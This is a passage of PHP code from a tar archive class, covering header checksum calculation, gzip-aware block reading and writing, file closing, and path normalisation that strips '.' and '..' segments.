$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
$this->writeBlock($dataFirst, 148);
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
$this->writeBlock($dataLast, 356);
return true;
}
function openWrite(){
if ($this->isGzipped)
$this->tmp_file = gzopen($this->archive_name, 'wb9f');
else
$this->tmp_file = fopen($this->archive_name, 'wb');
if (!($this->tmp_file)){
$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
return false;
}
return true;
}
function readBlock(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
$block = gzread($this->tmp_file, 512);
else
$block = fread($this->tmp_file, 512);
} else $block = '';
return $block;
}
function writeBlock($data, $length = 0){
if (is_resource($this->tmp_file)){
if ($length === 0){
if ($this->isGzipped)
gzputs($this->tmp_file, $data);
else
fputs($this->tmp_file, $data);
} else {
if ($this->isGzipped)
gzputs($this->tmp_file, $data, $length);
else
fputs($this->tmp_file, $data, $length);
}
}
}
function closeTmpFile(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
gzclose($this->tmp_file);
else
fclose($this->tmp_file);
$this->tmp_file = 0;
}
}
function makeGoodPath($path){
if (strlen($path)>0){
$path = str_replace('\\', '/', $path);
$partPath = explode('/', $path);
$els = count($partPath)-1;
for ($i = $els; $i>=0; $i--){
if ($partPath[$i] == '.'){
// Ignore this directory
} elseif ($partPath[$i] == '..'){
$i--;
}
elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
} else
$result = $partPath[$i].($i!=$els ? '/'.$result : '');
}
} else $result = '';
return $result;
}
}